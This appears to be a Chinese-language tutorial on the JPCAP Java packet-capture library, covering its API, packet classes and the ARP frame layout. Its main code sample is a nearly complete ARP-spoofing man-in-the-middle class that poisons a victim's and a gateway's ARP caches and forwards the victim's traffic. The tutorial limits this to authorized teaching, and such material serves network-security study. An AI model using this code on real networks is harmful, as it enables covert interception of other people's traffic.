Java 標準庫僅支援傳輸層 (TCP/UDP) 以上協定,無法直接操作網路層、資料鏈路層封包。JPCAP 透過 JNI 呼叫 libpcap/WinPcap,提供跨平台的鏈路層封包擷取、發送與解析能力,支援 FreeBSD、Linux、Solaris、Windows 2000/XP 等系統。
每個實例代表一張網卡,主要欄位:
addresses[]:綁定的網路位址陣列 (通常取 [0])datalink_description:乙太網、無線網、Token Ring 等datalink_name:10M/100M/1000M 等description:廠牌型號描述mac_address[6]:MAC 位址name:系統裝置名稱 (如 \Device\NPF_{GUID})loopback:是否為回送介面| 關鍵方法 | 說明 |
|---|---|
getDeviceList() | 靜態方法,取得所有網路介面陣列 |
openDevice(iface, snaplen, promisc, to_ms) | 建立連線:snaplen=每封包擷取位元組數、promisc=混雜模式、to_ms=processPacket 超時 |
getPacket() | 阻塞擷取單一封包 |
loopPacket(count, handler) | 擷取指定數量封包交由 handler 處理,count=-1 無限循環,不受超時影響 |
processPacket(count, handler) | 同 loopPacket 但受 to_ms 超時影響 |
dispatchPacket(count, handler) | 非阻塞模式,可能立即返回 0 封包 |
setFilter("ip", true) | BPF 過濾語法,optimize=true 啟用優化 |
getJpcapSenderInstance() | 取得發送器,需自行填寫鏈路層標頭 |
openRawSocket():自動填寫鏈路層標頭 (乙太網)sendPacket(Packet):發送封包。若由 getJpcapSenderInstance() 取得,需手動設定乙太網標頭;若由 openRawSocket() 取得則自動產生。Packet (抽象父類)
├─ ARPPacket
├─ DatalinkPacket
├─ EthernetPacket
├─ ICMPPacket
├─ IPPacket
│ ├─ TCPPacket
│ └─ UDPPacket
| 位移 | 欄位 | 長度 | 說明 |
|---|---|---|---|
| 0 | 目標 MAC | 6 | 乙太網標頭 |
| 6 | 來源 MAC | 6 | |
| 12 | 類型 | 2 | 0x0806 = ARP |
| 14 | 硬體類型 | 2 | 0x0001 = 乙太網 |
| 16 | 協定類型 | 2 | 0x0800 = IPv4 |
| 18 | 硬體位址長 | 1 | 6 (MAC) |
| 19 | 協定位址長 | 1 | 4 (IPv4) |
| 20 | 操作碼 | 2 | 1=Request, 2=Reply |
| 22 | 發送者 MAC | 6 | |
| 28 | 發送者 IP | 4 | |
| 32 | 目標 MAC | 6 | |
| 38 | 目標 IP | 4 |
交換式網路下,單純混雜模式無法監聽他人流量。利用 ARP 回應偽造:
public class ArpSpoofMonitor {
private JpcapCaptor captor;
private JpcapSender sender;
private byte[] targetMac, gatewayMac;
private InetAddress targetIp, gatewayIp;
private byte[] myMac;
public void init() throws IOException {
NetworkInterface[] devs = JpcapCaptor.getDeviceList();
// 選擇實體網卡 (排除虛擬介面)
NetworkInterface dev = selectRealInterface(devs);
myMac = dev.mac_address;
captor = JpcapCaptor.openDevice(dev, 65535, true, 1000); // 混雜模式
captor.setFilter("ip", true); // 只擷取 IP 封包
sender = captor.getJpcapSenderInstance(); // 需手填乙太網頭
}
// 建立 ARP Reply 封包 (目標: 受害者)
private ARPPacket buildArpReply(byte[] senderMac, InetAddress senderIp,
byte[] targetMac, InetAddress targetIp) {
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype = ARPPacket.PROTOTYPE_IP;
arp.operation = ARPPacket.ARP_REPLY;
arp.hlen = 6; arp.plen = 4;
arp.sender_hardaddr = senderMac;
arp.sender_protoaddr = senderIp.getAddress();
arp.target_hardaddr = targetMac;
arp.target_protoaddr = targetIp.getAddress();
EthernetPacket eth = new EthernetPacket();
eth.frametype = EthernetPacket.ETHERTYPE_ARP;
eth.src_mac = senderMac;
eth.dst_mac = targetMac;
arp.datalink = eth;
return arp;
}
// 定時發送 ARP 欺騙封包
private void startArpSpoof() {
new Thread(() -> {
ARPPacket toTarget = buildArpReply(myMac, gatewayIp, targetMac, targetIp);
ARPPacket toGateway = buildArpReply(myMac, targetIp, gatewayMac, gatewayIp);
while (true) {
sender.sendPacket(toTarget);
sender.sendPacket(toGateway);
try { Thread.sleep(500); } catch (InterruptedException ignored) {}
}
}).start();
}
// 擷取並轉發封包
private void forwardPackets() {
while (true) {
Packet p = captor.getPacket();
if (p instanceof IPPacket) {
IPPacket ip = (IPPacket) p;
if (ip.src_ip.equals(targetIp)) {
// 來自目標 → 轉發給閘道
modifyAndSend(p, gatewayMac);
} else if (ip.dst_ip.equals(targetIp)) {
// 來自閘道 → 轉發給目標
modifyAndSend(p, targetMac);
}
}
}
}
private void modifyAndSend(Packet p, byte[] newDstMac) {
if (p.datalink instanceof EthernetPacket) {
EthernetPacket eth = (EthernetPacket) p.datalink;
System.arraycopy(myMac, 0, eth.src_mac, 0, 6);
System.arraycopy(newDstMac, 0, eth.dst_mac, 0, 6);
sender.sendPacket(p);
}
}
}
getDeviceList() 可能回傳虛擬介面 (如 Generic Dialup Adapter),需依 addresses.length > 0 或 !loopback 過濾。snaplen:設 65535 擷取完整封包,非封包數量限制。promisc=true 且 setFilter() 同時使用,BPF 在驅動層過濾,效能最佳。getJpcapSenderInstance() 需手動填乙太網頭;openRawSocket() 自動填寫但需 Root/Admin 權限。CAP_NET_RAW 或 root。ARP 欺騙屬於中間人攻擊技術,僅限授權網路環境教學、測試、除錯使用。未經授權攔截他人網路流量違反資安法規與道德規範,嚴禁濫用。
JPCAP 雖屬經典套件,但其核心概念——鏈路層封包擷取、BPF 過濾、ARP 協定操作——仍是網路安全、效能分析、協定開發的基石知識。